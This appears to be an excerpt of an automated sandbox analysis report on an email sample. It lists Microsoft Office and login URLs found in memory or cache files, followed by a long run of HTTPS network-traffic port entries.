Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?secureurl=1
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: chromecache_87.6.dr, chromecache_89.6.dr	String found in binary or memory: https://i.imgur.com/xA8aaXN.png
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://ic3.teams.office.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://incidents.diagnostics.office.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://inclient.store.office.com/gyro/client
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://inclient.store.office.com/gyro/clientstore
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://invites.office.com/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/Getvoices
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://lifecycle.office.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://login.microsoftonline.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://login.microsoftonline.com/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://login.microsoftonline.com/organizations
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://login.windows.local
Source: OUTLOOK_16_0_16827_20130-20241107T1747130908-2132.etl.0.dr	String found in binary or memory: https://login.windows.local/K
Source: OUTLOOK_16_0_16827_20130-20241107T1747130908-2132.etl.0.dr	String found in binary or memory: https://login.windows.localT
Source: OUTLOOK_16_0_16827_20130-20241107T1747130908-2132.etl.0.dr	String found in binary or memory: https://login.windows.localnull
Source: App1731019634297279800_6DF433B8-5D16-42EB-A66E-1F37A741068C.log.0.dr	String found in binary or memory: https://login.windows.net
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: chromecache_82.6.dr, chromecache_76.6.dr	String found in binary or memory: https://logincdn.msauth.net/shared/1.0/content/images/arrow_left_7cc096da6aa2dba3f81fcc1c8262157c.pn
Source: chromecache_76.6.dr	String found in binary or memory: https://logincdn.msauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.sv
Source: Leg AdobeShareFile62532.pdf.eml (21.8 KB).msg, ~WRS{38B8CA5B-06E4-4B45-A50F-11A8605D86D4}.tmp.0.dr	String found in binary or memory: https://logo.clearbit.com/leg.wa.gov
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://make.powerautomate.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://management.azure.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://management.azure.com/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://messagebroker.mobile.m365.svc.cloud.microsoft
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://messaging.action.office.com/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://messaging.action.office.com/setcampaignaction
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://messaging.action.office.com/setuseraction16
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://messaging.engagement.office.com/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://messaging.engagement.office.com/campaignmetadataaggregator
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://messaging.lifecycle.office.com/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://messaging.lifecycle.office.com/getcustommessage16
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://messaging.office.com/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://metadata.templates.cdn.office.net/client/log
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://mss.office.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://my.microsoftpersonalcontent.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://ncus.contentsync.
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://ncus.pagecontentsync.
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://notification.m365.svc.cloud.microsoft/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://notification.m365.svc.cloud.microsoft/PushNotifications.Register
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://ods-diagnostics-ppe.trafficmanager.net
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://officeapps.live.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://officepyservice.office.net/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://officepyservice.office.net/service.functionality
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentities
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentitiesupdated
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://onedrive.live.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://onedrive.live.com/embed?
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://otelrules.azureedge.net
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://otelrules.svc.static.microsoft
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://outlook.office.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://outlook.office.com/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://outlook.office365.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://outlook.office365.com/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://outlook.office365.com/connectors
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://pages.store.office.com/review/query
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://powerlift.acompli.net
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://prod.mds.office.com/mds/api/v1.0/clientmodeldirectory
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://pushchannel.1drv.ms
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://res.cdn.office.net
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://res.cdn.office.net/mro1cdnstorage/fonts/prod/4.40
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://res.cdn.office.net/polymer/models
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://safelinks.protection.outlook.com/api/GetPolicy
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://service.officepy.microsoftusercontent.com/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://service.powerapps.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://settings.outlook.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://shell.suite.office.com:1443
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://skyapi.live.net/Activity/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://staging.cortana.ai
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://statics.teams.cdn.office.net/evergreen-assets/illustrations/win32/m365-device-desktop-dark-1
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://statics.teams.cdn.office.net/evergreen-assets/illustrations/win32/m365-device-desktop-dark-2
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://statics.teams.cdn.office.net/evergreen-assets/illustrations/win32/m365-device-desktop-hc-100
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://statics.teams.cdn.office.net/evergreen-assets/illustrations/win32/m365-device-desktop-hc-150
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://statics.teams.cdn.office.net/evergreen-assets/illustrations/win32/m365-device-desktop-hc-200
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://statics.teams.cdn.office.net/evergreen-assets/illustrations/win32/m365-device-desktop-light-
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://store.office.cn/addinstemplate
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://store.office.de/addinstemplate
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://substrate.office.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://substrate.office.com/Notes-Internal.ReadWrite
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://substrate.office.com/search/api/v1/SearchHistory
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://substrate.office.com/search/api/v2/init
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://tasks.office.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://templatesmetadata.office.net/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://useraudit.o365auditrealtimeingestion.manage.office.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://web.microsoftstream.com/video/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://webshell.suite.office.com
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://word-edit.officeapps.live.com/we/rrdiscovery.ashx
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://wus2.contentsync.
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://wus2.pagecontentsync.
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://www.odwebp.svc.ms
Source: chromecache_82.6.dr, chromecache_76.6.dr	String found in binary or memory: https://www.w3schools.com/w3css/4/w3.css
Source: 43016259-7FF2-417A-BB2B-7EC6D3BE846D.0.dr	String found in binary or memory: https://www.yammer.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
